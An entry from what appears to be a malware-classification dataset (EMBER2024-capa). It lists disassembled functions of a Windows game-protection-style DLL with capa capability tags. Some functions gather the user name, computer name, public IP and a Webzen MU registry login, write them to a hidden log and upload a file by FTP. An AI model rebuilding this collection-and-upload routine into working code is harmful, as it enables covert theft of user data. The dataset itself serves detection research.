joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100075c0
Capabilities:
Create thread
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100324a6
mov eax, dword fs:[0]
push eax
sub esp, 0x15c
push esi
mov eax, dword [0x1003e6c4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [0x10044644], 1
jne 0x100076ae
push 8
push str.GameGuard_Log.txt
lea eax, [ebp - 0x168]
push eax
call fcn.10001fe0
lea ecx, [ebp - 0x168]
push str._nGameGuard_Scan
push ecx
mov dword [ebp - 4], 0
call fcn.10003a90
mov edx, dword [0x1004457c]
add esp, 8
push str._Not_running_
push ecx
push edx
lea eax, [ebp - 0x168]
push eax
call fcn.10003a90
add esp, 0xc
push eax
call fcn.10003a90
add esp, 8
lea ecx, [ebp - 0x164]
call fcn.10002fb0
test eax, eax
jne 0x10007683
mov ecx, dword [ebp - 0x168]
mov ecx, dword [ecx + 4]
mov eax, dword [ebp + ecx - 0x15c]
lea ecx, [ebp + ecx - 0x168]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x1000767b
or eax, 4
push 0
push eax
call fcn.10001570
lea ecx, [ebp - 0x108]
mov dword [ebp - 4], 0xffffffff
call fcn.10002140
lea edx, [ebp - 0x108]
push edx
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.10018604
add esp, 4
cmp dword [0x10044654], 1
jne 0x100077c8
lea eax, [ebp - 0x18]
push eax
call fcn.1001a8a0
lea ecx, [ebp - 0x18]
add esp, 4
push ecx
call fcn.1001a747
add esp, 4
push 8
push 0x10036584
lea edx, [ebp - 0xc0]
push edx
mov esi, eax
call fcn.10001fe0
lea eax, [ebp - 0xc0]
push str._nLocal_Time:
push eax
mov dword [ebp - 4], 1
call fcn.10003a90
push esi
call fcn.1001a090
add esp, 0xc
push eax
lea ecx, [ebp - 0xc0]
push ecx
call fcn.10003a90
lea edx, [ebp - 0xc0]
push 0x1003715c
push edx
call fcn.10003a90
mov eax, dword [0x1004457c]
add esp, 0x10
push str._Not_running_
push ecx
push eax
lea ecx, [ebp - 0xc0]
push ecx
call fcn.10003a90
add esp, 0xc
push eax
call fcn.10003a90
lea edx, [ebp - 0xc0]
push str._n__________________
push edx
call fcn.10003a90
add esp, 0x10
lea ecx, [ebp - 0xbc]
call fcn.10002fb0
test eax, eax
jne 0x10007799
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax + 4]
mov eax, dword [ebp + ecx - 0xb4]
lea ecx, [ebp + ecx - 0xc0]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x10007791
or eax, 4
push 0
push eax
call fcn.10001570
push 2
push 0x10036584
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x60]
mov dword [ebp - 4], 0xffffffff
call fcn.10002140
lea ecx, [ebp - 0x60]
push ecx
mov dword [ebp - 0x60], vtable.std::ios_base.0
call fcn.10018604
add esp, 4
mov eax, dword [0x10044648]
push 0
cmp eax, 1
jne 0x100077fa
push 0
push 0
push 0x10007590
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp eax, 2
jne 0x1000780a
push 0
push 0
push 0x10007560
jmp 0x100077dd
cmp eax, 3
jne 0x1000781a
push 0
push 0
push 0x10012f30
jmp 0x100077dd
cmp eax, 4
jne 0x1000784d
push 0
push 0
push 0x10017bf0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, dword [0x1004457c]
push 0x200010
push str.GameGuard_Scan
push edx
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x100077f2
jmp 0x100077f4
Function at 0x10007850
Capabilities:
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10032856
mov eax, dword fs:[0]
push eax
sub esp, 0x15c
push esi
mov eax, dword [0x1003e6c4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [0x10044644], 1
jne 0x10007935
push 8
push str.GameGuard_Log.txt
lea eax, [ebp - 0xc0]
push eax
call fcn.10001fe0
lea ecx, [ebp - 0xc0]
push str._n_GameGuard_Scan
push ecx
mov dword [ebp - 4], 0
call fcn.10003a90
mov edx, dword [0x1004457c]
add esp, 8
push str._Not_running_
push ecx
push edx
lea eax, [ebp - 0xc0]
push eax
call fcn.10003a90
add esp, 0xc
push eax
call fcn.10003a90
add esp, 8
lea ecx, [ebp - 0xbc]
call fcn.10002fb0
test eax, eax
jne 0x10007913
mov ecx, dword [ebp - 0xc0]
mov ecx, dword [ecx + 4]
mov eax, dword [ebp + ecx - 0xb4]
lea ecx, [ebp + ecx - 0xc0]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x1000790b
or eax, 4
push 0
push eax
call fcn.10001570
lea ecx, [ebp - 0x60]
mov dword [ebp - 4], 0xffffffff
call fcn.10002140
lea edx, [ebp - 0x60]
push edx
mov dword [ebp - 0x60], vtable.std::ios_base.0
call fcn.10018604
add esp, 4
cmp dword [0x10044654], 1
jne 0x10007a2d
lea eax, [ebp - 0x18]
push eax
call fcn.1001a8a0
lea ecx, [ebp - 0x18]
add esp, 4
push ecx
call fcn.1001a747
add esp, 4
push 8
push 0x10036584
lea edx, [ebp - 0x168]
push edx
mov esi, eax
call fcn.10001fe0
lea eax, [ebp - 0x168]
push str._nLocal_Time:
push eax
mov dword [ebp - 4], 1
call fcn.10003a90
push esi
call fcn.1001a090
add esp, 0xc
push eax
lea ecx, [ebp - 0x168]
push ecx
call fcn.10003a90
lea edx, [ebp - 0x168]
push 0x1003715c
push edx
call fcn.10003a90
mov eax, dword [0x1004457c]
add esp, 0x10
push str._Not_running_
push ecx
push eax
lea ecx, [ebp - 0x168]
push ecx
call fcn.10003a90
add esp, 0xc
push eax
call fcn.10003a90
lea edx, [ebp - 0x168]
push str._n__________________
push edx
call fcn.10003a90
add esp, 0x10
lea ecx, [ebp - 0x164]
call fcn.10002fb0
test eax, eax
jne 0x10007a20
mov eax, dword [ebp - 0x168]
mov ecx, dword [eax + 4]
mov eax, dword [ebp + ecx - 0x15c]
lea ecx, [ebp + ecx - 0x168]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x10007a18
or eax, 4
push 0
push eax
call fcn.10001570
push 2
push 0x10036584
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x10008610
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10032767
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x1003e6c4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebx], 0x1003661c
mov dword [ebx + 0x60], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov dword [ebp - 4], eax
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
mov dword [ebx + ecx], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov edx, dword [ebx]
mov edi, dword [edx + 4]
add edi, ebx
mov ecx, edi
mov dword [ebp - 0x10], 1
call fcn.100016b0
lea esi, [ebx + 4]
push 0x20
mov ecx, edi
mov dword [edi + 0x38], esi
mov dword [edi + 0x3c], 0
call fcn.10003850
cmp dword [edi + 0x38], 0
mov byte [edi + 0x40], al
jne 0x100086a3
mov eax, dword [edi + 0xc]
or eax, 4
or eax, 4
push 0
push eax
mov ecx, edi
call fcn.10001570
mov dword [ebp - 4], 2
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
mov dword [ebx + ecx], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov ecx, esi
call fcn.10003590
lea edx, [esi + 8]
mov dword [esi + 0x10], edx
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
mov dword [esi], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [esi + 0x50], 0
mov byte [esi + 0x49], 0
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
xor ecx, ecx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], ecx
mov eax, dword [esi + 0x24]
mov dword [eax], ecx
mov edx, dword [esi + 0x34]
mov dword [edx], ecx
mov eax, dword [esi + 0x10]
mov dword [eax], ecx
mov edx, dword [esi + 0x20]
mov dword [edx], ecx
mov eax, dword [esi + 0x30]
mov dword [eax], ecx
mov dword [esi + 0x54], ecx
mov edx, dword [0x10044564]
mov dword [esi + 0x4c], edx
mov dword [esi + 0x44], ecx
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100087a0
Capabilities:
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100324a6
mov eax, dword fs:[0]
push eax
sub esp, 0x15c
push esi
mov eax, dword [0x1003e6c4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [0x10044644], 1
jne 0x10008869
push 8
push str.GameGuard_Log.txt
lea eax, [ebp - 0x168]
push eax
call fcn.10001fe0
lea ecx, [ebp - 0x168]
push str._nFTP_Server_connection_fail_
push ecx
mov dword [ebp - 4], 0
call fcn.10003a90
add esp, 8
lea ecx, [ebp - 0x164]
call fcn.10002fb0
test eax, eax
jne 0x1000883e
mov edx, dword [ebp - 0x168]
mov ecx, dword [edx + 4]
mov eax, dword [ebp + ecx - 0x15c]
lea ecx, [ebp + ecx - 0x168]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x10008836
or eax, 4
push 0
push eax
call fcn.10001570
lea ecx, [ebp - 0x108]
mov dword [ebp - 4], 0xffffffff
call fcn.10002140
lea eax, [ebp - 0x108]
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.10018604
add esp, 4
cmp dword [0x10044654], 1
jne 0x10008952
lea ecx, [ebp - 0x18]
push ecx
call fcn.1001a8a0
lea edx, [ebp - 0x18]
add esp, 4
push edx
call fcn.1001a747
add esp, 4
push 8
mov esi, eax
push 0x10036584
lea eax, [ebp - 0xc0]
push eax
call fcn.10001fe0
lea ecx, [ebp - 0xc0]
push str._nLocal_Time:
push ecx
mov dword [ebp - 4], 1
call fcn.10003a90
push esi
call fcn.1001a090
add esp, 0xc
push eax
lea edx, [ebp - 0xc0]
push edx
call fcn.10003a90
lea eax, [ebp - 0xc0]
push str.FTP_Server_connection_fail_
push eax
call fcn.10003a90
lea ecx, [ebp - 0xc0]
push str._n__________________
push ecx
call fcn.10003a90
add esp, 0x18
lea ecx, [ebp - 0xbc]
call fcn.10002fb0
test eax, eax
jne 0x10008930
mov edx, dword [ebp - 0xc0]
mov ecx, dword [edx + 4]
mov eax, dword [ebp + ecx - 0xb4]
lea ecx, [ebp + ecx - 0xc0]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x10008928
or eax, 4
push 0
push eax
call fcn.10001570
lea ecx, [ebp - 0x60]
mov dword [ebp - 4], 0xffffffff
call fcn.10002140
lea eax, [ebp - 0x60]
push eax
mov dword [ebp - 0x60], vtable.std::ios_base.0
call fcn.10018604
add esp, 4
mov eax, dword [0x10044648]
cmp eax, 1
je 0x1000899d
cmp eax, 3
je 0x1000899d
cmp eax, 4
je 0x1000899d
push 0
cmp eax, 2
jne 0x10008993
push 0
push 0
push 0x10008740
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
test eax, eax
jne 0x1000898d
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
push 0
push 0
push 0x10008770
jmp 0x10008976
Function at 0x10008a10
Capabilities:
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100324a6
mov eax, dword fs:[0]
push eax
sub esp, 0x15c
push esi
mov eax, dword [0x1003e6c4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [0x10044644], 1
jne 0x10008ad9
push 8
push str.GameGuard_Log.txt
lea eax, [ebp - 0x168]
push eax
call fcn.10001fe0
lea ecx, [ebp - 0x168]
push str._n_HTTP_Server_connection_fail_
push ecx
mov dword [ebp - 4], 0
call fcn.10003a90
add esp, 8
lea ecx, [ebp - 0x164]
call fcn.10002fb0
test eax, eax
jne 0x10008aae
mov edx, dword [ebp - 0x168]
mov ecx, dword [edx + 4]
mov eax, dword [ebp + ecx - 0x15c]
lea ecx, [ebp + ecx - 0x168]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x10008aa6
or eax, 4
push 0
push eax
call fcn.10001570
lea ecx, [ebp - 0x108]
mov dword [ebp - 4], 0xffffffff
call fcn.10002140
lea eax, [ebp - 0x108]
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.10018604
add esp, 4
cmp dword [0x10044654], 1
jne 0x10008bc2
lea ecx, [ebp - 0x18]
push ecx
call fcn.1001a8a0
lea edx, [ebp - 0x18]
add esp, 4
push edx
call fcn.1001a747
add esp, 4
push 8
mov esi, eax
push 0x10036584
lea eax, [ebp - 0xc0]
push eax
call fcn.10001fe0
lea ecx, [ebp - 0xc0]
push str._nLocal_Time:
push ecx
mov dword [ebp - 4], 1
call fcn.10003a90
push esi
call fcn.1001a090
add esp, 0xc
push eax
lea edx, [ebp - 0xc0]
push edx
call fcn.10003a90
lea eax, [ebp - 0xc0]
push str.HTTP_Server_connection_fail_
push eax
call fcn.10003a90
lea ecx, [ebp - 0xc0]
push str._n__________________
push ecx
call fcn.10003a90
add esp, 0x18
lea ecx, [ebp - 0xbc]
call fcn.10002fb0
test eax, eax
jne 0x10008ba0
mov edx, dword [ebp - 0xc0]
mov ecx, dword [edx + 4]
mov eax, dword [ebp + ecx - 0xb4]
lea ecx, [ebp + ecx - 0xc0]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x10008b98
or eax, 4
push 0
push eax
call fcn.10001570
lea ecx, [ebp - 0x60]
mov dword [ebp - 4], 0xffffffff
call fcn.10002140
lea eax, [ebp - 0x60]
push eax
mov dword [ebp - 0x60], vtable.std::ios_base.0
call fcn.10018604
add esp, 4
mov eax, dword [0x10044648]
cmp eax, 1
je 0x10008c0d
cmp eax, 3
je 0x10008c0d
cmp eax, 4
je 0x10008c0d
push 0
cmp eax, 2
jne 0x10008c03
push 0
push 0
push 0x100089b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
test eax, eax
jne 0x10008bfd
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
push 0
push 0
push 0x100089e0
jmp 0x10008be6
Function at 0x10008c20
Capabilities:
Connect to http server
Create http request
Get session user name
Send file using ftp

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
mov eax, dword [0x1003e6c4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x70]
push ecx
mov dword [ebp - 0x74], 0x64
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x10008cc0
push 0
push 0
push 0
push 1
push 0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edx, dword [0x100445b8]
mov ecx, dword [0x100445b0]
push 0
push 0
push 1
push edx
mov esi, eax
mov eax, dword [0x100445b4]
push eax
push 0x15
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetConnectA]
push 0
push 2
lea edx, [ebp - 0x70]
push edx
mov edi, eax
push str.List
push edi
call dword [sym.imp.WININET.dll_FtpPutFileA]
test eax, eax
je 0x10008cd0
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push esi
call edi
push str.List
call fcn.1001a971
add esp, 4
push 0x10036584
call fcn.1001a971
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10019013
mov esp, ebp
pop ebp
ret
push str.List
call fcn.1001a971
add esp, 4
call fcn.100087a0
int3
Function at 0x100090b0
Capabilities:
Capture public ip
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10032c1b
mov eax, dword fs:[0]
push eax
sub esp, 0xe4
mov eax, dword [0x1003e6c4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0x80000000
push 0
push 0
push str.http:__icanhazip.com_
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
je 0x10009200
lea eax, [ebp - 0x44]
push eax
push 0x2f
lea ecx, [ebp - 0x40]
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov edx, dword [ebp - 0x44]
push 8
push str.Temp
lea eax, [ebp - 0xf0]
push eax
mov byte [ebp + edx - 0x40], 0
call fcn.10001fe0
lea ecx, [ebp - 0xf0]
push str._nPublic_IP:
push ecx
mov dword [ebp - 4], 0
call fcn.10003a90
lea edx, [ebp - 0x40]
push edx
lea eax, [ebp - 0xf0]
push eax
call fcn.10003a90
lea ecx, [ebp - 0xf0]
push str._n_________Hack_Log___________n_n
push ecx
call fcn.10003a90
add esp, 0x18
lea ecx, [ebp - 0xec]
call fcn.10002fb0
test eax, eax
jne 0x100091af
mov edx, dword [ebp - 0xf0]
mov ecx, dword [edx + 4]
mov eax, dword [ebp + ecx - 0xe4]
lea ecx, [ebp + ecx - 0xf0]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x100091a7
or eax, 4
push 0
push eax
call fcn.10001570
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
call fcn.10008cf0
lea ecx, [ebp - 0x90]
mov dword [ebp - 4], 0xffffffff
call fcn.10002140
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x90], vtable.std::ios_base.0
call fcn.10018604
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10019013
mov esp, ebp
pop ebp
ret
call fcn.10008a10
int3
Function at 0x10009210
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10032c9b
mov eax, dword fs:[0]
push eax
sub esp, 0xc8
mov eax, dword [0x1003e6c4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x24]
push ecx
mov dword [ebp - 0x28], 0x10
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x100092f9
push 8
push str.Temp
lea edx, [ebp - 0xd0]
push edx
call fcn.10001fe0
lea eax, [ebp - 0xd0]
push str._nComputer_Name:
push eax
mov dword [ebp - 4], 0
call fcn.10003a90
lea ecx, [ebp - 0x24]
push ecx
lea edx, [ebp - 0xd0]
push edx
call fcn.10003a90
add esp, 0x10
lea ecx, [ebp - 0xcc]
call fcn.10002fb0
test eax, eax
jne 0x100092d0
mov eax, dword [ebp - 0xd0]
mov ecx, dword [eax + 4]
mov eax, dword [ebp + ecx - 0xc4]
lea ecx, [ebp + ecx - 0xd0]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x100092c8
or eax, 4
push 0
push eax
call fcn.10001570
call fcn.100090b0
lea ecx, [ebp - 0x70]
mov dword [ebp - 4], 0xffffffff
call fcn.10002140
lea ecx, [ebp - 0x70]
push ecx
mov dword [ebp - 0x70], vtable.std::ios_base.0
call fcn.10018604
add esp, 4
jmp 0x100092fe
call fcn.100090b0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10019013
mov esp, ebp
pop ebp
ret

Function at 0x10009320
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10032c9b
mov eax, dword fs:[0]
push eax
sub esp, 0xc8
mov eax, dword [0x1003e6c4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x24]
push ecx
mov dword [ebp - 0x28], 0x14
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x10009407
push 8
push str.Temp
lea edx, [ebp - 0xd0]
push edx
call fcn.10001fe0
lea eax, [ebp - 0xd0]
push str._nComputer_Username:
push eax
mov dword [ebp - 4], 0
call fcn.10003a90
lea ecx, [ebp - 0x24]
push ecx
lea edx, [ebp - 0xd0]
push edx
call fcn.10003a90
add esp, 0x10
lea ecx, [ebp - 0xcc]
call fcn.10002fb0
test eax, eax
jne 0x100093e0
mov eax, dword [ebp - 0xd0]
mov ecx, dword [eax + 4]
mov eax, dword [ebp + ecx - 0xc4]
lea ecx, [ebp + ecx - 0xd0]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x100093d8
or eax, 4
push 0
push eax
call fcn.10001570
call fcn.10009210
lea ecx, [ebp - 0x70]
mov dword [ebp - 4], 0xffffffff
call fcn.10002140
lea ecx, [ebp - 0x70]
push ecx
mov dword [ebp - 0x70], vtable.std::ios_base.0
call fcn.10018604
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10019013
mov esp, ebp
pop ebp
ret
Function at 0x10009420
Capabilities:
Query or enumerate registry value
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10032d0b
mov eax, dword fs:[0]
push eax
sub esp, 0x1c4
mov eax, dword [0x1003e6c4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x11c]
push eax
push 1
push 0
push str.SoftwareWebzenMuConfig
push 0x80000001
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x124], 0x104
call esi
test eax, eax
jle 0x10009495
call fcn.10009320
jmp 0x100095b9
lea ecx, [ebp - 0x11c]
push ecx
push 1
push 0
push str.SoftwareWebzenMuConfig
push 0x80000001
call esi
test eax, eax
jne 0x100095ac
lea edx, [ebp - 0x124]
push edx
mov edx, dword [ebp - 0x11c]
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x120]
push ecx
push 0
push 0x100373ac
push edx
mov dword [ebp - 0x120], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x100095a7
push 8
push str.Temp
lea eax, [ebp - 0x1d0]
push eax
call fcn.10001fe0
lea ecx, [ebp - 0x118]
push ecx
push ecx
lea edx, [ebp - 0x1d0]
push str._nLauncher_defalt_login:
push edx
mov dword [ebp - 4], 0
call fcn.10003a90
add esp, 0xc
push eax
call fcn.10003a90
add esp, 8
lea ecx, [ebp - 0x1cc]
call fcn.10002fb0
test eax, eax
jne 0x10009568
mov eax, dword [ebp - 0x1d0]
mov ecx, dword [eax + 4]
mov eax, dword [ebp + ecx - 0x1c4]
lea ecx, [ebp + ecx - 0x1d0]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x10009560
or eax, 4
push 0
push eax
call fcn.10001570
push 2
push str.Temp
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call fcn.10009320
lea ecx, [ebp - 0x170]
mov dword [ebp - 4], 0xffffffff
call fcn.10002140
lea ecx, [ebp - 0x170]
push ecx
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.10018604
add esp, 4
jmp 0x100095ac
call fcn.10009320
mov edx, dword [ebp - 0x11c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10019013
mov esp, ebp
pop ebp
ret

Function at 0x10009c00
Capabilities:
Create thread
Terminate process

Disassembly:
mov eax, dword [0x10044648]
cmp eax, 1
je 0x10009c4e
cmp eax, 4
je 0x10009c4e
push 0
cmp eax, 2
jne 0x10009c3c
push 0
push 0
push 0x10009ba0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp eax, 3
jne 0x10009c4c
push 0
push 0
push 0x10012f30
jmp 0x10009c1f
jmp 0x10009c36
push 0
push 0
push 0
push 0x10009bd0
jmp 0x10009c1f
Function at 0x1000a090
Capabilities:
Terminate process

Disassembly:
cmp dword [0x1004a3bc], 0xb7
jne 0x1000a0f0
mov eax, dword [0x10044648]
push 0x200030
cmp eax, 1
jne 0x1000a0c6
mov eax, dword [0x100445c4]
push eax
push str.SI_Scan_n_nAnti_kill_active__just_one_Game_instance_allowed_
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp eax, 2
jne 0x1000a0e7
mov ecx, dword [0x100445c4]
push ecx
push str.SI_Scan_n_nO_Sistema_Anti_kill_permite_apenas_uma_instancia_de_jogo_aberta_
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [0x100445c4]
push edx
jmp 0x1000a0b1
ret